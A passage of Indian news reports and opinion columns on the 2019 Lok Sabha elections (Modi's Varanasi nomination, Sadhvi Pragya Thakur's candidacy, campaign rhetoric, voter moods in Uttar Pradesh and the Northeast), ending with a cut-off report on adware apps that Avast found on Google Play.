areas and from the state capital. Sources disclosed that some senior leaders had told Mr Rao that going in for polls nearly 18 months early would not be advisable, as the state would go for Assembly polls in December 2023. But some others said that if the TRS won all the urban civic bodies including the GHMC in November or December, it would help the party consolidate its strength further. Both of them have been remanded to judicial custody. (Representional Image) Pudukkottai: The Pudukkottai district police have arrested two persons in Chennai on Thursday for allegedly sending denigrating messages against women of the Muthurayar community through WhatsApp social media network, which created a situation of unrest and violent incidents over few days from April 18 in and around Ponnamaravathi area in Pudukkotai district. Police said they arrested G. Selvakumar of Karisalkadu-Manjavayal village of Thanjavur district on his arrival at Chennai airport from Singapore on Thursday night, and based on his information, they subsequently arrested C.Vasanth of Pattukkottai in Thanjavur district. Both of them have been remanded to judicial custody, Police added. Bhopal: Prime Minister Narendra Modi on Friday said that his residence should also be raided by the Income Tax officers if he was found indulging in any gadbad (wrongdoing). Addressing an election meeting in district headquarters of Sidhi in Madhya Pradesh, Mr Modi said, Law is equal for all. My residence should also be searched, if I have done wrong. Referring to recent raids on close aides of MP Chief Minister Kamal Nath by I-T sleuths, he said, They (the Congressmen) were complaining that they were targeted by the agencies. They were targeted because they indulged in wrongdoing. My house should also be searched if I have done wrong. Mr Modi told BJP booth-level workers before filing his nomination papers in Varanasi that a pro-incumbency wave was witnessed for the first time in the country. According to his affidavit filed with the Election Commission, Mr Modi has assets worth Rs 2.5 crore including a residential plot in Gujarats Gandhinagar, fixed deposits of Rs 1.27 crore and Rs 38,750 cash in hand. Mr Modi has named Jashodaben as his wife and declared that he has an M.A. degree from Gujarat University in 1983. The affidavit said that he was an arts graduate from Delhi University (1978 batch). Chennai: Tamil Nadu Government on Friday issued an alert to all senior police officers and the district collectors directing them to take precautionary measures to maintain law and order and to avert any untoward incident, following a phone call from a truck driver warning of terror attacks. It had been brought to the notice of the government that a man claiming to be a truck driver named Swamy Sundar Murthy and calling from phone number 6361093152 had called up the control room of the Bangalore city police at 5.35 pm on Friday to warn of terror attacks, said a fax communication from the state public secretary to the police and revenue officials in the state. He was speaking in Tamil and broken Hindi. He claims to have information to the effect that major cities in Tamil Nadu among some other states/places will be hit by terror attacks. The terror attacks will take place on trains, said the communication. It said the caller had claimed that there are 19 terrorists present at Ramanathapuram. Efforts by this reporter to reach the caller on the phone number given in the government communication did not succeed. The call was not going through. On April 17, 2019, soon after joining the BJP, Malegaon blast accused Sadhvi Pragya Singh Thakurs name was announced as the party candidate. (Photo: File) Mumbai: Sadhvi Pragya Thakur has gained immense popularity for her checkered journey from an accused in the Malegaon blast to the candidate of Bharatiya Janata Party (BJP). The ruling party known for promoting terror-free nation has grabbed the headlines since the announcement of Sadhvi Pragyas candidature from Bhopal parliamentary constituency against senior Congress leader Digvijaya Singh. Backdrop of Sadhvi Pragya Born in Bhind district of Madhya Pradesh, Sadhvi Pragya had a long association with the Rashtriya Swayamsevak Sangh (RSS). A post-graduate in history from the Jiwaji University, Gwalior and also holds B.P.Ed (Bachelor of Physical Education) degree from the Barkatullah University, Bhopal. She also worked with the RSS student wing Akhil Bharatiya Vidyarthi Parishad (ABVP) and Durga Vahini, women's wing of the Vishwa Hindu Parishad. The daughter of an Ayurveda doctor managed to gain popularity with her speeches as a students activist and was known as a great orator. During her college days, she got in touch with the saints, getting inspired by them, Sadhvi Pragya sported a rudraksh mala with a trademark short hair along with. Since then, Surat became her karmbhoomi and while in the process of becoming Sadhvi, she also achieved a title of star campaigner for the BJP. Her life took a twist after Sadhvi Pragya was taken into custody for 24 days of which the police had taken the permission of 11 days custody in October 2008. Sadhvi Pragya, along with eight others, were arrested in Dewas district of Madhya Pradesh by the Shivraj Singh Chouhan-led BJP government for the murder of Sunil Joshi. Sadhvi Pragya Singh Thakur Who is Sunil Joshi? Sunil Joshi, a right-wing activist, whose name had figured in the Mecca Masjid, Samjhauta and Malegaon blast cases, was killed on December 29, 2007, in Dewas, Madhya Pradesh. Sunil Joshi, who had been chargesheeted by the National Investigation Agency (NIA) in connection with the 2007 Samjhauta Express train blast case, was shot dead on December 29, 2007, when he was walking back to his hideout at Chuna Khadan locality in Dewas. Sunil Joshi murder case: The police on March 25, 2009, closed the case on the order of Dewas SP and all the accused, including Sadhvi Pragya, were released. The Madhya Pradesh police on July 9, 2010, reopened the murder case and filed a chargesheet alleging that Sadhvi Pragya, and four others had killed Joshi fearing he might expose the entire conspiracy from Samjhauta to Ajmer blasts. On February 26, 2011, police issued an arrest warrant against Sadhvi Pragya Thakur. Saffron-clad Sadhvi Pragya became the face of right-wing extremism after being arrested by the Maharashtra Anti-Terrorism Squad in the 2008 Malegaon blast case, where six people were killed and 101 were injured when an improvised explosive device strapped on a motorcycle went off at Malegaon on September 29, 2008. She served nine years of jail, however, currently she is out on bail. In 2011, the Indore high court transferred the case to the NIA. A Madhya Pradesh court on February 1, 2017, acquitted Pragya Thakur, along with all other accused of all charges in connection with the Joshi murder case. On December 27, 2017, a special NIA court had dropped stringent Maharashtra Control of Organised Crime Act charges against Lieutenant Colonel Prasad Purohit, Sadhvi Pragya, Sameer Kulkarni and other accused in the blast case. Chargesheet filed by Madhya Pradesh police: The 432-page chargesheet filed by the police before judicial magistrate Padmesh Shah stated, Sadhvi was peeved with Joshi as he had personally misbehaved with her and his overall behaviour was something not expected by a woman'. The chargesheet also contains statements from 124 witnesses, according to a March 2011 News18 report. The chargesheet also claimed that on the day of Joshis murder, Thakur was in Indore and her mobile call records show that she was in constant touch with the accused. Thakur emerged as a major suspect after his relatives claimed she had come to their house on the day of the murder and had taken away his suitcase. She was also seen in the hospital where Joshis body was brought. Sadhvi Pragyas acquittal: Three years later, on August 19, 2014 just months after Narendra Modi become the prime minister the case was again transferred to the Dewas district court. In September 2015, the Dewas court framed charges against eight people, including Thakur who was charged under section 120 (B) (criminal conspiracy) and other relevant sections of the IPC. However, on February 1, 2017, Dewas additional district Judge Rajeev Kumar Aaptee acquitted all accused in the Joshi murder case. In April 2017, the Bombay High Court approved bail for Thakur, who the ATS had said was among the prime conspirators of the blast. Arrival into politics: On April 17, 2019, soon after joining the BJP, Malegaon blast accused Sadhvi Pragya Singh Thakurs name was announced as the party candidate. Sadhvi Pragya Singh Thakur along with Shivraj Singh Chouhan after announcing Sadhvi Pragya Thakur as the BJPs candidate for Bhopal. (Photo: PTI) The sanyasini's recent statement that was grabbed into controversy was Sadhvi Pragyas claim that she cured her breast cancer with cow products like urine. BJP Lok Sabha candidate from Bhopal Sadhvi Pragya Singh Thakur has declared assets worth more than Rs 4.44 lakh that includes a 150 gram silver-coated brick which has Lord Rama inscribed on it, according to her affidavit. Sadhvi Pragya has mentioned in her affidavit that she depends on alms and the society for her livelihood. After accepting the challenge to fight against Digvijaya Singh, Sadhvi Pragya has recently said she was ready for a "Dharm Yudh". Keep yourself updated on Lok Sabha Elections 2019 with our round-the-clock coverage -- breaking news, updates, analyses et all. Happy reading. Varanasi: After filing his nomination from Varanasi parliamentary constituency, Prime Minister Narendra Modi on Friday expressed gratitude to people of temple city for blessing him even after five years and urged voters to cast vote on the polling day. "I thank residents of Varanasi for their support. Thankful for the love I got. I deeply express gratitude towards people of Kashi. They have again blessed me after five years. Such a grand roadshow yesterday was possible only in Kashi. I urge all the voters to cast their respective votes. Come out and vote in huge numbers," Modi told reporters here. #WATCH: Prime Minister Narendra Modi speaks to media after filing nomination from Varanasi. #LokSabhaElections2019 pic.twitter.com/ObH3fbwUss ANI UP (@ANINewsUP) April 26, 2019 The Prime Minister also urged people to not believe anyone who discourages them from exercising their franchise. He added, "Some are making an atmosphere that Modi has already won, so it would be fine if you don't cast your vote. I request you all to not fall for it. Voting is your right, this is a festival of democracy, one should vote to make democracy stronger. I urge all the people not to believe them and to come out and vote. People should vote in large numbers to make the country strong." Modi filed his nomination to fight the ongoing Lok Sabha elections from the Varanasi parliamentary constituency, the seat from where he handsomely won the 2014 general elections. Varanasi, earlier known as Banaras, will vote in the last phase of the seven-phase Lok Sabha elections on May 19. Almost all prominent leaders of the BJP, as well as members of the National Democratic Alliance (NDA) and North-East Democratic Alliance (NEDA), were present with Modi. Modi is seeking a second term in office from Varanasi, a parliamentary seat he won in 2014, defeating Aam Aadmi Party (AAP) national convenor and Delhi Chief Minister Arvind Kejriwal by a massive margin of 3.37 lakh votes. Modi stormed to power in 2014 general elections with Bharatiya Janata Party (BJP) winning 282 of the Lok Sabha's 543 constituencies. The BJP won an absolute majority in 2014, reducing the then-ruling Congress to a miserly 44 seats. During the 2014 general elections, Modi had contested and won from Vadodara in Gujarat as well as from Varanasi but retained the latter after trouncing Aam Aadmi Party convenor Arvind Kejriwal with a massive margin of 3.37 lakh votes. A day before filing nomination Modi on Thursday held a roadshow and performed Ganga aarti in Varanasi. The Prime Minister began the mega roadshow after paying tributes to Pt Madan Mohan Malviya's statue outside Banaras Hindu University. The rally, spanning over six kilometers, passed through Lanka and Madanpura areas of the city and came to an end at the famed Dashashwamedh Ghat. Immersed in devotion, Modi listened to hymns performed on the bank of river Ganga and later performed Aarti at the ghat of the holy river. The counting of votes will take place on May 23. Keep yourself updated on Lok Sabha Elections 2019 with our round-the-clock coverage -- breaking news, updates, analyses et all. Happy reading. Jaipur: Congress leader Sam Pitroda Friday said it was Congress general secretary Priyanka Gandhi Vadra's own decision not to contest against Prime Minister Narendra Modi for the Varanasi Lok Sabha seat. Speculation over Priyanka Gandhi's electoral debut from Modi's constituency ended Thursday when the Congress fielded Ajay Rai from there. "The party president had left the final decision on her, Pitroda said when reporters asked him about Rahul Gandhi not fielding his sister from the high-profile constituency. She decided that she has several responsibilities. She decided that rather than concentrating on one seat, she should focus on the job she has at hand, Pitroda, who heads the Indian Overseas Congress, said. So that decision was finally hers and she decided it," he said. Priyanka Gandhi is in charge of eastern Uttar Pradesh for her party. Ahmedabad: The results of the Lok Sabha elections from Gujarat will decide the political future of OBC leader Alpesh Thakor, who emerged as the face of the Thakor community during Patidar reservation agitation in 2015. Mr Thakor, Congress MLA from Radhanpur, left the party just ahead of the Lok Sabha elections, saying he was being sidelined and injustice was done to his community. There was a buzz that he would join the BJP but that did not happen. Mr Thakor openly campaigned against the Congress during the elections. With voting completed, Congress chief whip Ashwin Kotwal has approached the Assembly secretariat seeking Mr Thakors expulsion as a legislator. He has resigned from the Congress and worked against the party. Since he was elected on a Congress ticket, he cannot continue as an MLA as per the rules, Mr Kotwal wrote. Assembly Speaker Rajendra Trivedi is expected to hear the matter. Political observers believe that the Congress did not initiate action against Mr Thakor before the elections out of the fear that it would lose the votes of the community. Many believe that if the Congress performs well, especially in Banaskantha, Patan, it will give a clear signal that the young politician does not sway the Thakor voters. Chandigarh: Dismissing the possibility of any threat to Sunil Jakhar from the BJP candidate in the fray in Gurdaspur, Punjab chief minister Captain Amarinder Singh on Friday said Sunny Deol was just a filmy fauji with no ground support in the constituency. Talking to mediapersons after accompanying Jakhar for filing his nomination papers as the Congress candidate from Gurdaspur, Captain Amarinder quipped, in response to a question, He (Sunny Deol) is a filmy fauji, while I am a real fauji. We will defeat him, he is no threat to Sunil or the Congress, he declared. Describing Sunny Deol as an ageing actor whose acting career was over, Captain Amarinder said he (Sunny) will come and go. Sunny might have played 23 Punjabs Brigadier Kuldip Singh Chandpuri in Border but that does not make him a real fauji, said the chief minister. When a journalist pointed out that Sunny Deols latest movie Blank was set for release, Captain Amarinder further retorted: He will draw a blank (in the elections). Kolkata: Stung by Prime Minister Narendra Modis revealation of her sweet rapport with him at the personal level Trinamul Congress supremo Mamata Banerjee on Friday declared that West Bengal would gift him clay-made rasgullas filled with gravel instead of votes this time in the Lok Sabha Election. The West Bengal chief minister claimed that if Mr Modi would end up breaking his teeth if he would try to have a bite of it. Her attack on the PM came a day after she acknowledged of sending Kurta and sweets as a courtesy to him. Mr Modi is not coming to power this time. He now fears of visiting any place. He frequents Bengal which he did not do earlier. He did not come here during any season. But when the poll season has come, he says he wants votes from Bengal. Bengal will give you Rosogolla now, Ms Banerjee alleged at an election campaign rally in Raniganj in support of Trinamul candidate of Asansol Moon Moon Sen. She angrily told Mr Modi, What will be the rasgulla type? It will not be an regular one. We will make the sweet with clay and fill it with gravel exactly the way cashew nuts and raisins are put in Laddoos so that when he will try to have a bite, his teeth will break. This type of sweet will be served to him. Before concluding her speech Ms Banerjee asked the women in the crowd, Have you cooked food at home before coming here? Cook some food and sweets to beat the BJP. She added, Those will be the sweets made of clay and will be filled with gravel which will be given to them. Im afraid we are getting a bit too serious about politics. This makes us lose sight of its sunnier and funnier sides. We need to cherish them, especially in these dark and cheerless days, when everyones hand is at the throat of everyone else. Prime Minister Narendra Modi says he could not afford a single day off from work in the five years he has been in office. What makes this statement noteworthy (no pun intended) is its assumption that it is good to have off-days, or days free from the cares of the state. He said it, in its context, clearly to appeal to the sympathy of the voters. Thats fine. But what he went on to say was a bit odd. Therefore, he pleaded, give me five more years in office! No one would deny that Mr Modi worked desperately hard. So, all of us feel sad that he could not complete any of the many things he attempted to do. He did well in refraining from reeling off the items on his list of unfinished agendas. This raises some interesting issues. First, the inability to complete what one undertakes is not a merit. It points to an incumbents incompetence. How did Mr Modi land himself in this sorry state? Did he bite off much more than he could chew? Did he overestimate his competence? Or, underestimate the challenges on the way? If so, are the voters to reward Mr Modi for his incompetence? His public admission that he could not complete what he undertook to do is a serious self-indictment, though it is meant as an appeal to voter sympathy. Ironically, this is worse than anything that his adversaries have said against him. Second, if a person remains facing a heap of unfinished tasks because he was not keen enough, and did not try hard enough, to accomplish what he set out to do, there is some sense in giving him a second term. There is a chance that he could do better. But that is not what Mr Modi says. He worked desperately hard. He could not have worked harder. That leaves us with only one conclusion: Mr Modis very best was not good enough. If so, the evidence of this unfinished agenda is a veritable chargesheet against him. Third, a person who has worked for five long years without any respite, and is now saddled with a mountain of unfinished businesses, must be utterly weary and exhausted. It is cruel and unfair to crush him with another term in office. Mr Modi, by his own admission, needs rest; and needs it desperately. He is now like a wayfarer who, weary from a long and largely futile journey, is dragging himself closer home; a state reminiscent of that haunting scene in a Bombay film in which Amitabh Bachchan says, at the fag-end of the film, Neend aa gayee, ma (I am weary unto death, mother). We have a duty, out of sheer compassion, to reward him with a sufficiently long spell of rest and recuperation. We must excuse him from the thankless burdens of barren governance. Mr Modi is followed, not far behind, by Sadhvi Pragya Thakur. She is as metaphysical as Mr Modi is physical. Mr Modi is weary; whereas she is fiery. She claims to have killed a police officer with a curse. Surely, that betokens some potency! There is a profound spiritual side to the sadhvis out-of-the-box script, which it would be a pity to miss. Ms Thakur, I have to insist, has been rather uncharitably misunderstood. She may want to revive heroic memories of tearing down the Babri Masjid with her bare hands, possessed by hate and malice towards the children of Babur. But that was a quarter century ago. Now, perhaps, she wants to signal via this curse-episode a radical shift in her religious outlook. Let us take Ms Thakurs claim at face value and unpack its implications. Ms Thakurs curse was fulfilled through Pakistani terrorists, or Muslim jihadis. So Ms Thakurs hex, or evil spell, takes effect via an inter-religious, Hindu-Muslim partnership. Ms Thakurs curse activated a terror cell in Pakistan. It made light of the yawning gulf of hostility between Hinduism and Islam, India and Pakistan. This view is radically new and very exciting; except that it precipitates a huge problem what happens to the anti-Pakistan rhetoric on which the BJP relies so heavily? Who is our true hero? Abhinandan Varthaman, who risks his life to down a Pakistani fighter plane? Or, Ms Thakur who employs a Pakistani terrorist partnership? By nominating Ms Thakur, is the BJP sending a new signal to the country; namely, that a new era of India-Pakistan detente is imminent? It is a possibility rendered all the more credible by Pakistani PM Imran Khans preference for a Narendra Modi-led BJP government! The farmers were angry that the BJP governments at the Centre and the state had not created enough shelters for cows before implementing the ban on cow slaughter. (Photo: Pixabay) With the third round of voting in Indias seven-part general elections over, speculation about who will win from where is in full swing. But beyond guesstimates and poll arithmetic, are there any clear indications on the ground? An 1,800-km road journey last week through Uttar Pradesh, the countrys electoral barometer state, threw up two clear insights what people are talking about depends on not only who they are, but where you interact with them. There is a huge difference between highways and byways, between the main street and the back alley, between areas that are easy to reach and those that have poor approach roads. Conversations in highway dhabas, run mostly by Thakurs, Yadavs, Rajputs and Brahmins, were formulaic. Be it National Highway 19, NH31 or NH30, almost everyone had more or less the same things to say. They were enthused by the Modi Sarkar and the narrative of the strongman who can save India from enemies. Young men were particularly taken in by the visual imagery of that line by Prime Minister Narendra Modi about going into Pakistani territory and taking revenge. Durga Hotel, a highway dhaba near Jaswantnagar city in UPs Etawah, caters to pure vegetarians. Tapash Yadav, the young man managing the place, jokes that if its election time, therell be fewer power cuts and customers should enjoy their cold drinks. Yadav, a graduate, is convinced that while theres no wave in favour of anyone, the BJP will outsmart its rivals in Etawah and elsewhere in UP because it has been smart in its calculations and the victory will be in the name of Hindustan and in the name of national security. He didnt think the political alliance of the Samajwadi Party, Bahujan Samaj Party and Rashtriya Lok Dal, contesting unitedly as the Mahagathbandhan could really challenge the BJP. At another highway dhaba in Fatehpur, its the same talk about strongman Modi and the national security argument relentlessly pushed by the BJP. The same arguments popped up in a tony hairdressing salon in Varanasi. A young man working there admitted there had been no improvement in his own life, but he was impressed by the new roads, bridges and flyovers that were coming up. He too believed only Narendra Modi could subjugate Pakistan and anti-nationals. That is the highway and the main street. But walk down village roads and potholed alleys to urban neighbourhoods where the poor and marginalised lived cheek by jowl, and a totally different narrative emerges. In villages, where nearly 80 per cent of UPs 200 million people live, the bleak state of the rural economy is the big issue. That, and jobs for the youth. I didnt once hear the words Pulwama or Balakot. In Prime Minister Modis constituency Varanasi, Phoolwaria is a neighbourhood that houses dalits and poor Muslims. Its not easy to access the place; a car can easily get stuck in the narrow, potholed back lanes. But Phoolwarias residents, especially young women, are keen to have their voices heard. The talk is only about jobs and despair. One 18-year-old dalit girl said though she was of voting age, her name was not on the voters list. Young dalit men talked about not finding jobs despite trying repeatedly. Shabnam, 24, is from the first generation in her family to be educated. Her father, an auto rickshaw driver, had made sure that all his four daughters had access to education. Shabnam graduated from Varanasis Mahatma Gandhi Kashi Vidyapith. But like millions of graduates, Shabnams dream of landing a government job any government job had not materialised though she had sat for many competitive exams. Who did she support in the elections? The Mahagathbandhan has representation from different communities and understands our needs best. For Phoolwarias youngsters like Shabnam, jobs were the main concern. Young Muslim women I met said they had to tackle many social barriers to pursue higher education and it would be a lot easier to convince their families about the desirability of a woman going out to work if she landed a secure government job. Last year, a national newspaper noted 3,700 PhD holders, 50,000 graduates and 28,000 postgraduates had applied for 62 posts of UP police messengers. The post requires a minimum eligibility of Class 5. But Muslim sentiment was not homogenous. In Varanasis Lallapura area, Muslim shopowners selling Benarasi saris were fans of Mr Modi. If his flashy style and events like the Pravasi Bharatiya Divas can get more NRIs to the city and to my shop, why should I complain, said a young man who owned a popular sari store. Taking a detour off the Lucknow-Agra expressway and walking down to Behrin village in UPs Kannauj district, I encountered the same disenchantment with the BJP. As elsewhere in UP, Behrins farmers were livid about the stray cattle menace and its impact on their crops. Raj Kishore, an elderly farmer, complained bitterly about villagers having to stay awake night after night guarding their crops from wandering cows. No one wants to keep cows. What will we do with them when they get old? Who will feed them? Earlier we used to sell off aged cows, now we cant. So we have switched to buffaloes. The farmers were angry that the BJP governments at the Centre and the state had not created enough shelters for cows before implementing the ban on cow slaughter. This, they made clear, had knocked the rural economy where farmers would keep cattle to sell their milk. The accepted practice was to sell the cattle to slaughterhouses when they were past the age of producing milk. The ban and the open threat by cow vigilante groups supporting the BJP left farmers no choice but to let their cattle stray as they could no longer afford to feed them. Raj Kishore talked about stray cows meeting with accidents and dying uncared for in the few shelters that had come up. College-going women in Behrin said even they were affected by the stray cattle menace because they also had to help their families protect the crops. Once again, their big issue was jobs, specifically government jobs. On the ongoing polls, what you hear in UP depends on how far you walk from the main roads. What is the big picture from Uttar Pradeshs 80 Lok Sabha seats? We shall know within a month. In the late 19th century, moved by benign Hindu piety, the rulers of Orchha in Bundelkhand built the Kanak Bhawan Mandir on hallowed ground associated with Lord Ram. Some friends are puzzled that I celebrated Rams birth on Ram Navami earlier this month in the most magnificent Ram temple in Ayodhya. In the imagination of my friends, the Ram Janmabhoomi-Babri Masjid is a collective rubble pending a Supreme Court verdict. So, in which temple did these splendid ceremonies take place? In the late 19th century, moved by benign Hindu piety, the rulers of Orchha in Bundelkhand built the Kanak Bhawan Mandir on hallowed ground associated with Lord Ram. Following an over 200-year-old family tradition, Madhukar Shah, scion of the Orchha royalty, and his rani personally supervise the affairs of Ayodhyas largest mandir. This Ram Navami was no different. I have seldom seen Lord Rams city so bereft of political presence. The old colonial bungalow refurbished as Faizabads Circuit House looks like a spruced-up haunted haven. Cooks, bearers, housekeepers, in white, appear at one end and shuffle past with no apparent work in hand. It is almost spooky. Cross into Ayodhya and throngs of devotees chanting Jai Siya Ram choke the lanes. Milling crowds climb the wide staircase of the Kanak Bhawan Ram temple. Chanting devotees come in waves, their hands uplifted in reverence, eyes focused on the jharokha or balcony beyond which the aarti begins at 11 am in preparation for the Lords birth at noon. But even at noon, there is no frenzy, just chants of reverence accompanied by a surge towards the balcony for a closer experience of the moment of birth. I do not know how purists will take this report but my wife and I are rather proud that we had more than a ringside seat, virtually within whispering distance of the birthing suite where Ram was born. The pujari with a thal, or plate of lamps, makes circles around the imaginary bed. The lights flicker on the gold silk and taffeta, neatly folded in Rams and Sitas wardrobes lining the walls all around us. Once Ram Lalla is born, Madhukar and his rani wave a murchal a sort of whisk in slow, pampering motions around the infant. It is as close to Christs Nativity scene as I have experienced. Remarkably, it all happens in the imagination. It is hard to visualise larger crowds, steeped in such unadulterated reverence. Pardon the thought, but is there a need for a parallel temple of contention which will only neutralise the good natured atmospherics in this magnificent mandir? Our visit was a function of both: my passionate pursuit of the multicultural and Madhukars profound hospitality. The red and yellow thread the priest tied on my wrist was, in its minutest detail, similar to what my mother did to visitors of diverse faiths who visited our village home during Muharram. In fact, even the Imambara, where a replica of Imam Hussains tomb in Karbala is kept, was not very dissimilar to the sanctum sanctorum all peculiarly Indian. Mosques, of course, are different. There is a great deal in common between the Jama Masjid, the Blue Mosque or the Shah Abbas mosque in Delhi, Istanbul and Isfahan respectively. But these mosques, in their distinct grandeur, are marvels of architecture. The Babri Masjid was by no stretch of the imagination a great work of architecture. In August 1989, when I visited Ayodhya and saw the Babri Masjid, the nearby shilanyas or temple bricklaying ceremony was a distressing scene, custom made for conflict. I have since found myself on the same wavelength as the moderate cleric, Maulana Kalbe Sadiq. Since his cancer has galloped to its last stages, what the maulana says is virtually his last will and testament: A Muslim can spread his prayer mat anywhere, facing the Kaaba, and say his prayers; a Hindu consecrates the idol forever. According to him, if Muslims win the Ayodhya case in the Supreme Court, they should make a gift of the land for construction of the temple, The gesture will electrify the Hindu masses; communal politics will be defeated. The soft, reverential tones of the ceremonies at the Ram temple are such a welcome relief from the warlike atmosphere of intrigue and deception that we witnessed during the shilanyas 30 years ago. I can never forget the harassed face of the district magistrate of Faizabad, Ram Sharan Srivastava, under instructions to implement the underhand, duplicitous order handed over to him by the Congress high command Rajiv Gandhi, Arun Nehru and Narayan Datt Tiwari. The situation was this: the Allahabad high court had stayed any bricklaying on disputed land. But Ashok Singhal of the Vishwa Hindu Parishad threatened rivers of blood if the shilanyas were not held where the VHP wanted it. The district magistrate was instructed to accede to Singhals demand confidentially. In other words, bricklaying would be allowed clandestinely on disputed land. Singhal had agreed to keep this secret. But the Congress had to score brownie points: it announced that the bricklaying ceremony was allowed only on land which was not disputed. No sooner was the handout issued than Singhal, not to be upstaged, also held a press conference. We have laid the foundation stone at exactly the place within our construction plan. The Congress doublecrossed the people; Singhal doublecrossed the Congress and all this in the name of Maryada Purushottam, the Perfect Man. I removed this nightmare from my mind and left the sanctum sanctorum remembering Allama Iqbals couplet: Hai Ram ke wajood pe Hindostaan ko naz/ Ehle nazar samajhte hain usko Imam e Hind. (Ram is Hindustans pride. Men of vision consider him the Imam of Hindustan.) Also, that pujari who walked past our house in Lucknow every morning, a wide smile on his face like he were blessing the world: Kahu kahu maa? magan/ Kahu kahu maa? magan/ Hum apne Ram Ram jape maa? magan/ Jaa se laagi hai lagan. (People have their own founts of bliss. Mine is chanting Rama, who occupies the space in my heart.) In the overall canvas of elections to the 543-member Lok Sabha, the Northeast appears as a tiny dot because the eight states of the region sends a total of just 25 members to the all-important Lower House of Parliament. But the battle for these 25 seats had never been so intense with the mascots of the countrys two major political parties, BJP top gun and Prime Minister Narendra Modi and Congress president Rahul Gandhi, making multiple trips to the region this poll season to campaign for their candidates. The 25 MPs are important because the region happens to be one of Indias most strategically located stretches that shares borders with five neighbouring countries China, Nepal, Myanmar, Bangladesh and Bhutan and is home to a diverse set of ethnicities, numbering 300 or more. To put it simply, these 25 MPs represent the voice of more than 300 ethnic groups and communities with a total population of 45 million. The MPs from the region have generally not been vocal inside Parliament, but that they have a voice is something that cannot be ignored. Voting for all these 25 seats ended with the third phase on April 23, and if one has to talk about the key features, it has to be said that the fight had been between the Congress on one side, the BJP and its allies on the other, and a plethora of other regional parties. The main contest though had been between the solitary Congress (except in Assam, where it got the indirect support of the AIUDF) and the BJP, aided by an array of regional allies. In the Northeast, the 2019 elections are critical for the BJP because the party has so far not been able to send any MP to the Lok Sabha from six of the states, barring Assam and Arunachal Pradesh. The polls were held in the backdrop of the BJP managing to oust the Congress from power in Assam, Manipur and Arunachal Pradesh and defeating the Left Front in Tripura. In Nagaland and Meghalaya, the BJP is part of the coalition ruling the states, and in Mizoram, the ruling Mizo National Front (MNF) is still a part of the National Democratic Alliance. This leaves out Sikkim, where the ruling Sikkim Democratic Front seeking re-election this time with the simultaneous state Assembly polls that were held is not considered a dependable ally of the NDA. The long and short of the story is that the BJP and its allies have managed to achieve its target of a Congress-mukt or Congress-free Northeast. The challenge now for the BJP is to have representatives from the region in Parliament and that too at a time when every single win could stand to count. Can the BJP achieve its publicly stated target of winning at least 19 of the regions 25 seats along with its allies? One has to wait and watch, but what the BJP may not have expected is the expansionist campaign in the region by one of its key allies, the National Peoples Party (NPP), headed by Meghalaya chief minister Conrad Sangma. The NPP, founded by one of the regions political stalwarts and former Lok Sabha Speaker Purno A. Sangma, has expanded to become a pan-Northeast party and fielded candidates of its own and even entered into independent alliances. For example, the NPP candidate is the frontrunner in the Tura Lok Sabha seat in Meghalaya, but for the Shillong seat, the NPP has put up a common candidate of the Meghalaya Democratic Alliance coalition, of which the BJP is also a part. But interestingly, kicking the alliance dharma aside, the BJP on its own has put up candidates in both the Meghalaya seats Tura and Shillong. This technically means the NDA, of which the NPP is a constituent, had two candidates in the fray at least in Meghalaya! The confusion is blatant because there also is a BJP-floated platform of like-minded parties in the region called the North-East Democratic Alliance, or NEDA, headed by the BJPs main strategist in the Northeast, senior Assam minister Himanta Biswa Sharma. Now, parties like the NPP are a part of NEDA. Then, take the case of Mizoram, where the ruling Mizo National Front (MNF) is both a part of the NDA and NEDA, but faced a BJP candidate in the states lone Lok Sabha seat. The BJP had fought the recent Assembly polls as well in Mizoram. But the focus automatically comes back on the party to watch, the NPP, because it absorbed and fielded eight sitting BJP MLAs, including two ministers, in Arunachal Pradesh, which also saw simultaneous Assembly polls. This is because the BJP had denied them tickets to seek re-election. Anyone would like to ask the question as to whats going on why is a big national party like the BJP tolerating such defiance by smaller parties like the NPP? The answer is not far to seek the BJP is on a mission to consolidate its hold in the region and is prepared, therefore, to not only be flexible to a fault but compromise on many of its stated stands and allow itself to be regionalised. Contrast this with the Congress, which was in power in most of the northeastern states until 2015 but fought a near solitary battle in the region, once its bastion. Even in Assam, the Congress kept away from any official alliances although the decision of the pro-minority AIUDF, led by Maulana Badruddin Ajmal, to contest only three of the states 14 Lok Sabha seats led to speculation of an understanding between the two parties. The Congress has denied any deal with the AIUDF, but miffed at the Congress decision to field candidates against even AIUDF chief Maulana Badruddin Ajmal in Dhubri at the last minute, the AIUDF said five Congress leaders had entered into a gentlemens agreement with the party but later betrayed them. The only open support the Congress got and took was from the opposition Naga Peoples Front for the lone Nagaland seat. Talking about issues the region has many. Some of them are a solution to the Naga insurgency issue, the annual problem of floods and erosion in Assam, poor connectivity in Arunachal Pradesh, poor road conditions in Nagaland, law and order and higher education bottlenecks in Manipur, the security situation in Tripura, poor infrastructure in Mizoram, and others. And yes, how can one forget the issue of illegal migration when the Supreme Court, in the middle of the poll campaign, pulled up the Assam government over the disappearance of 70,000 people declared as illegal Bangladeshi migrants by Foreigners Tribunals! But these were not part of the core poll discourse in the region. The political bigwigs in their campaign appearances mostly indulged in rhetoric and tried to pull each other down. It is now left to the MPs to change the narrative in the days ahead from rhetoric to real work. Avast, a global leader in digital security products, announced that it discovered 40 adware apps on the Google Play Store using Avasts mobile threat intelligence platform, apklab.io. The installations of the apps, which Avast is referring to as TsSdk, range from 5K to 5M installations. The adware persistently displays full screen ads, and in some cases, tries to convince the user to install further apps. The adware applications are linked together by the use of third-party Android libraries which bypass the background service restrictions present in newer Android versions. Although the bypassing itself is not explicitly forbidden on the Play Store, Avast detects it as Android:Agent-SEB [PUP], because apps using these libraries waste the users battery and make the device slower. The applications use the libraries to continuously display more and more ads to the user, going against Play Store rules. Avast has contacted Google to have the apps removed. Avast named the adware TsSdk, because the term was found in the first version of the adware. The original Using apklab.io, Avast found two versions of TsSdk on the Play Store all linked together by the same code. The older of the two versions has been installed 3.2 million times and was contained in simple gaming, fitness, and photo editing applications; most often installed in India, Indonesia, Philippines, Pakistan, Bangladesh and Nepal. Above, an example of one of the apps containing TsSDK. Once installed, most of the apps containing the older version appear to work as advertised on their Google Play pages, however, additionally, shortcuts are dropped onto the home screen and full screen ads are shown to the user when they turn the screen on, and in some cases, the ads are shown periodically when the user uses the device. In some cases, the apps contain code capable of downloading further applications, prompting the users to install them. Additionally, most of the older samples also added a shortcut to a Game Center on the infected devices home screen, which opens a page advertising different games: http://h5games.top/. The name H5GameCenter was also part of the Cosiloon preinstalled malware Avast reported on last year. The Avast researchers are unsure if the two are related to one another. Updating the adware code The newer version has been installed 21 million times and was included in music and fitness apps. The 